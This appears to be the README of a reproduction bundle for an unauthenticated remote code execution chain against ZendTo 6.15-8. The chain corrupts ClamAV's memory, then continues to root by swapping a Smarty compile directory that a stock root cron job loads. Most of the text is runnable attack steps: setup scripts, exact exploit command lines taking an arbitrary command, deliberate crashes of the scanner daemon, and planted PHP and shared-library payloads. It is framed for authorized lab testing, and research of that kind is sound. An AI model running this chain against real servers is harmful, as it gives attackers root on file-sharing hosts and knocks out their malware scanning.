## https://sploitus.com/exploit?id=474F877A-64AB-5989-836A-908CAC772214
# ZendTo 6.15-8 / ClamAV exact-profile RCE and root-variant reproduction
This directory is a standalone, authorized-lab reproduction bundle for the
no-account ZendTo-to-ClamAV code-execution chain and its separate default-
profile Smarty/root-cron continuation. It includes:
- the complete runnable PoC dependency closure;
- scripts and provenance for constructing the Docker target topology;
- a Docker Compose definition matching the tested systemd/socket lifecycle;
- fail-closed image, package, binary, configuration, CVD, DAC, cron, PHP,
MAC, and filesystem-semantic checks; and
- helpers for the one lab-only verification capability and for cleanup.
The initial PoC executes a caller-selected command as the stock `clamav`
service account. The optional variant continues that no-account foothold to a
caller-selected command as root. Both default to `id`, reject the literal
`/root/flag` path, and return nonce-bound output over HTTPS.
The vulnerable group, directory, Smarty, and root-cron relationships are
ZendTo Debian package/installer defaults. Root reachability is nevertheless
environment-conditioned: this exact positive fixture uses an ext4-backed
`/var/zendto` volume, functional PHP CLI FFI/POSIX/exec, and an unconfined
clamd process. Enforcing AppArmor/SELinux or incompatible filesystem semantics
can block the continuation on another otherwise stock installation.
Use this only on the included disposable fixture or another system you are
explicitly authorized to test.
## What is pinned
The authoritative exact target is a local, intentionally unversioned artifact
at:
```text
image/zendto-installer-systemd-debian12.tar.zst
```
Git ignores Docker image archives. Before exact regression, place an authorized
local copy at that path; `scripts/setup.sh` requires its recorded SHA-256 and
image ID. `source-recipe/README.md` documents how the installer-derived image
was built and captured. A new build from live package repositories is useful
for topology testing but is not presumed byte-identical to the pinned target.
The setup and container entrypoint reject any mismatch from the following
profile:
| Component | Exact tested value |
|---|---|
| Docker image ID | `sha256:de6d2f06ca04943362a9bdec5026e808448953728f31bd926343a4ed2ca2ef7c` |
| ZendTo | `6.15-8` |
| ClamAV/libclamav package | `1.4.3+dfsg-1~deb12u2` |
| libclamav | `libclamav.so.12.0.3`, SHA-256 `55e3cd94…027c` |
| libclamav Build ID | `e6427ab62146ee3001fe463d12e797e9d25bf81a` |
| glibc | `2.36-9+deb12u14`, SHA-256 `6b4a4535…421` |
| main database | v63, SHA-256 `0b2182d2…365` |
| daily database | v28082, SHA-256 `cddbcccf…906` |
| bytecode database | v339, SHA-256 `6d4aa01f…ffb` |
| clamd | `MaxThreads 12`, `IdleTimeout 30`, `Restart=no` |
| lifecycle | enabled `clamav-daemon.socket`, systemd PID 1 |
| web runtime | Apache `2.4.68`, PHP `8.2.32` |
| MAC posture | unconfined privileged Docker fixture |
| root bridge | stock `clamav` in `www-data`; `/var/zendto` `root:www-data 0775` |
| root consumer | stock root cleanup cron, hourly at minute 25 |
| Smarty cache | deterministic Smarty 4.5.4 compiled `zendto.conf` |
| exchange filesystem | ext4-backed named `/var/zendto` volume |
The complete values are in `PROFILE.json`.
This is stronger than pinning only the ClamAV package version. The allocator
construction also depends on glibc, CVD-driven parser traffic, worker settings,
and the exact target library. FreshClam is disabled in the captured image, and
startup fails if `daily.cvd` has drifted or a `daily.cld` has appeared.
The currently long-running research container in the parent workspace is not
the clean fixture: later testing disabled its external-sender form and updated
its daily database. Those changes are intentionally excluded here. This bundle
uses the clean baseline against which native execution was demonstrated.
## Host requirements
- x86-64 Linux with Docker Engine and Docker Compose v2
- permission to run privileged containers
- cgroup v2 and `/sys/fs/cgroup`
- `zstd`, Python 3 with `venv`, a C compiler, `file`, and GNU `readelf`
- enough memory for ClamAV's native parsers without a tight container limit
- at least 1 GiB free disk for the local image artifact and running target
The target shares the host kernel and ASLR implementation. Kernel-dependent
mapping behavior therefore remains a portability variable.
Only one systemd fixture should share the host cgroup namespace at a time. On
the original research machine, stop the older fixture without deleting it:
```bash
docker stop zendto-installer-systemd-native
```
It can later be restored with `docker start zendto-installer-systemd-native`.
## Start the exact target
From this directory:
```bash
./scripts/verify-bundle.sh
./scripts/setup.sh
```
The setup script:
1. verifies the immutable source manifest and local image SHA-256;
2. loads and retags the exact image without contacting a registry;
3. creates `.venv` with the pinned PoC Python dependencies;
4. rebuilds the small local PESpin helper for the operator's libc;
5. checks the local libclamav artifact and all target gadget windows;
6. validates the Compose model;
7. creates a fresh named `/var/zendto` volume and starts systemd; and
8. verifies package versions, target hashes, CVDs, Apache, clamd, and socket
activation; and
9. proves the default root-variant prerequisites, including a disposable
`renameat2(RENAME_EXCHANGE)` operation performed as `clamav`.
The default endpoints are loopback-only:
```text
http://127.0.0.1:18084/
https://127.0.0.1:18447/
```
The certificate is self-signed. The PoC deliberately uses `verify=False` for
every HTTP request. Different loopback ports can be selected before setup:
```bash
export ZENDTO_HTTP_PORT=19084
export ZENDTO_HTTPS_PORT=19447
./scripts/setup.sh
```
Use the same environment variables for later Compose/helper commands.
Check the target at any time:
```bash
./scripts/verify-target.sh
docker compose ps
```
## The CAPTCHA/email boundary in this fixture
The clean installer baseline has:
```text
allowExternalUploads = TRUE
confirmExternalEmails = TRUE
captcha = google
```
Its CAPTCHA and mail values are installer placeholders, so the untouched
archive cannot actually deliver the public verification email. Native
regression testing represented only that completed application step with an
equivalent external-sender `AuthData` row. The target code, packages, scanner,
permissions, and exploit path were not patched.
Create that one lab row and a mode-0600 token file with:
```bash
./scripts/mint-lab-auth.py attacker@example.net
```
The token value is suppressed and stored at:
```text
.lab/upload-auth-token.txt
```
This local helper is not a claim that an external-upload-disabled deployment
can be exploited remotely. If the public external-sender form is disabled, the
PoC correctly stops before ClamAV even when a token file is supplied.
On a normally configured authorized deployment, omit
`--external-auth-token-file`: manually open the verification page, solve the
CAPTCHA, receive the target-generated message at an attacker-controlled
mailbox, and paste its URL/token at the hidden prompt.
## 1. Remote-only enumeration
This mode sends no CAPTCHA, email, capability, upload, login POST, or scanner
content. `--skip-clamd-tcp-probe` also suppresses the optional read-only native
TCP/3310 check:
```bash
mkdir -p -m 700 work
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--enumerate-only \
--skip-clamd-tcp-probe \
--fingerprint-json work/fingerprint.json
```
Enumeration still produces ordinary web access logs and can initialize normal
application caches. Its Debian/Ubuntu Apache-layout result does not attest the
native package, Build ID, libc, CVDs, socket policy, or MAC state. The local
Docker verification script supplies that evidence for this fixture.
## 2. Capability and recipient dry run
This validates the lab bearer and recipient policy but submits no file or
scanner content:
```bash
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email attacker@example.net \
--recipient x@foo.test. \
--external-auth-token-file .lab/upload-auth-token.txt \
--probe-only \
--no-open-browser
```
`x@foo.test.` matches the deliberately unusual `test.` internal-domain value
entered when this installer fixture was created. A custom real deployment may
require an actual authorized recipient.
## 3. Destructive end-to-end code execution
Warning: this is not a benign scanner check. Before attempt one, the remote
mode sends EICAR, deliberately crashes clamd with the PESpin discriminator,
proves socket-triggered recovery, and runs two terminal code-page probes with
additional crash/recovery cycles. Rejected mappings intentionally kill clamd.
Use a fresh work directory and a harmless command:
```bash
run_dir="work/run-$(date +%Y%m%d-%H%M%S)"
mkdir -m 700 "$run_dir"
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email attacker@example.net \
--recipient x@foo.test. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--command 'id; uname -a' \
--workdir "$run_dir" \
--keep-workdir
```
The preferred conditioned route tests for the useful nibble-8 mapping before
submitting one corruption carrier. The current three-layout aggregate is a
later lifecycle correction; its historical one-layout oracle and same-process
RCE stages are documented separately in `docs/`.
The blind fixed-nibble-6 fallback is available explicitly:
```bash
.venv/bin/python poc/zendto_6_15_8_unauth_clamav_rce.py \
https://127.0.0.1:18447 \
--sender-email attacker@example.net \
--recipient x@foo.test. \
--external-auth-token-file .lab/upload-auth-token.txt \
--restart-resample-attempts 72 \
--command 'id; uname -a' \
--workdir work/blind-run \
--keep-workdir
```
Under an independent uniform nibble model, 47 fresh mappings are about 95%
and 72 about 99%. Those are geometric mapping probabilities, not end-to-end
reliability guarantees. Each rejected mapping takes at least the 12-second
recovery delay plus the enforced 40-second worker-retirement period, excluding
scan time. A 72-attempt run can exceed an hour.
The result is not read from a callback or webshell. The DSO creates a separate
30-minute output-only AuthData bearer, executes `/bin/sh -c` as `clamav`, and
returns bounded stdout/stderr through an anonymous ZendTo page. Success requires
one framed result with all of the following consistent:
- `zendto_unauth_clamav_rce_result=1`
- exact run ID and command SHA-256
- exact libclamav Build ID marker
- reported uid/euid/gid
- completion marker and exit/timeout/signal state
Missing, duplicate, truncated, or mismatched proof is a failed run.
## 4. Optional no-account continuation to root
Run this only after `./scripts/verify-target.sh` reports both
`[target]` and `[privesc-target]` success. The wrapper first performs the same
no-account ClamAV stage, requires its exact bounded arming proof, then waits for
the unchanged stock root cron consumer:
```bash
.venv/bin/python poc/zendto_clamav_to_root_smarty_privesc.py chain-unauth \
https://127.0.0.1:18447 \
--sender-email attacker@example.net \
--recipient x@foo.test. \
--external-auth-token-file .lab/upload-auth-token.txt \
--oracle-conditioned-attempts 72 \
--root-command 'id; uname -a' \
--keep-workdir
```
The token-file option is only the fixture's completed-email substitute. On an
authorized public workflow, omit it and manually complete the CAPTCHA/email
prompt. No ZendTo username or password is used by `chain-unauth`.
The root stage is deliberately separate even though the wrapper automates its
handoff. It:
1. uploads a nonce-bound PHP armer through unauthenticated `savechunk.php`;
2. supplies its SHA-256-gated command to the initial ClamAV RCE;
3. atomically exchanges a cloned Smarty compile directory as `clamav`;
4. lets the stock minute-25 root cleanup job load the guarded wrapper;
5. restores the genuine compile directory before command execution; and
6. downloads `/zendto-root-result-.json` with `verify=False`, requiring
`euid=0`, the exact command hash, restore marker, and completion nonce.
Cron may make the final poll wait almost an hour; the default timeout is 3900
seconds. The root command is limited to 1024 bytes and 30 seconds, with at most
1 MiB each of stdout and stderr. Its nonce-addressed JSON is intentionally web
readable in this disposable lab, so use only harmless test output.
For manual orchestration, `emit` prints the exact command to pass to the
no-account PoC's `--command`; after the arming proof, use `poll` with the
printed run ID and SHA-256 of the exact root command. See
`docs/SMARTY_ROOT_BRIDGE.md` for the construction and audit transcript.
This variant is expected to stop safely when a prerequisite is missing. Do
not overlap arms or retry an ambiguous run: failed stages can leave an incoming
PHP file, hidden clone, lock, or swapped cache. Use a fresh fixture for each
root test:
```bash
./scripts/reset-lab.sh --yes-delete-lab-volume
./scripts/mint-lab-auth.py attacker@example.net
```
## Repeatability and failure handling
One successful corruption is supported per clamd process. A second invocation
is defensible only after a fresh run's destructive recycle probe returns the
expected scanner-failure response and EICAR proves recovery through the active
socket. Do not reuse a run ID, staged chunk name, result bearer, or client work
directory.
Stop immediately on any redirect, network timeout, ambiguous body/status,
unexpected clean response, or failed EICAR recovery. Never manually resubmit
the prior corruption request to an uncertain daemon.
The packaged service has `Restart=no`. Repeatability comes from the still
active `clamav-daemon.socket`, not from an automatic service restart policy.
If the socket is disabled or start-limited, deliberate crashes can leave the
scanner unavailable.
## Residue and cleanup
Expected target residue includes access/error logs, clamd crash records or
cores, bounded orphan claim files from clean oracle guards, one append-only
`/var/zendto/incoming/Bridge.1` DSO, and short-lived AuthData rows.
Stock cleanup ages out ordinary orphan claims only after more than one day.
The root variant additionally leaves a nonce PHP armer, hidden clone and lock,
the root-owned public JSON result, and private `/run` stdout/stderr. A successful
wrapper restores genuine `templates_c` before executing the root command, but
these evidence files remain until the container and volume are reset.
Revoke the lab upload bearer after testing:
```bash
./scripts/revoke-lab-auth.py
```
Stop the target while preserving its evidence volume:
```bash
docker compose down
```
For a clean fresh fixture, explicitly delete only this project's named volume
and restart it from the pinned image:
```bash
./scripts/reset-lab.sh --yes-delete-lab-volume
```
Archive the work directory and fingerprint JSON before resetting if they are
needed as evidence.
## Directory map
```text
docker-compose.yml exact systemd/socket target topology
PROFILE.json exact package/hash/CVD profile
image/*.tar.zst local ignored target artifact
poc/ no-account driver and support modules
third_party/ minimized builder/source/binary closure
scripts/setup.sh image/client/Compose setup
scripts/verify-bundle.sh delivery-manifest verification
scripts/verify-target.sh fail-closed target verification
scripts/verify-privesc-target.sh root-variant semantic preflight
scripts/mint-lab-auth.py local completed-email substitute
scripts/revoke-lab-auth.py remove that lab bearer
scripts/reset-lab.sh explicit clean-volume reset
source-recipe/ installer provenance, not exact rebuild
docs/ technical regression/audit notes
```
`source-recipe/install.ZendTo.tgz` and its runbook are included for provenance
and source construction. Do not treat a new live-repository build as exact:
the installer does not pin all packages or ClamAV databases. Exact regression
requires the ignored local image archive to match `PROFILE.json`.
`MANIFEST.sha256` covers every delivered file except itself. Docker image
archives, the host-compiled `third_party/installer-runtime/clamav-pespin/
pespin_summit` helper, and generated `.venv`, `.lab`, `work`, and
`__pycache__` trees are ignored. Setup rebuilds the helper from its manifested
C source and verifies the local image separately.
The packaging-time static, remote preflight, probabilistic resampling, and
instrumented end-to-end checks are recorded in
`docs/BUNDLE_VALIDATION.md`. The record distinguishes remote observations from
the one validation run that was explicitly supplied a locally observed module
base.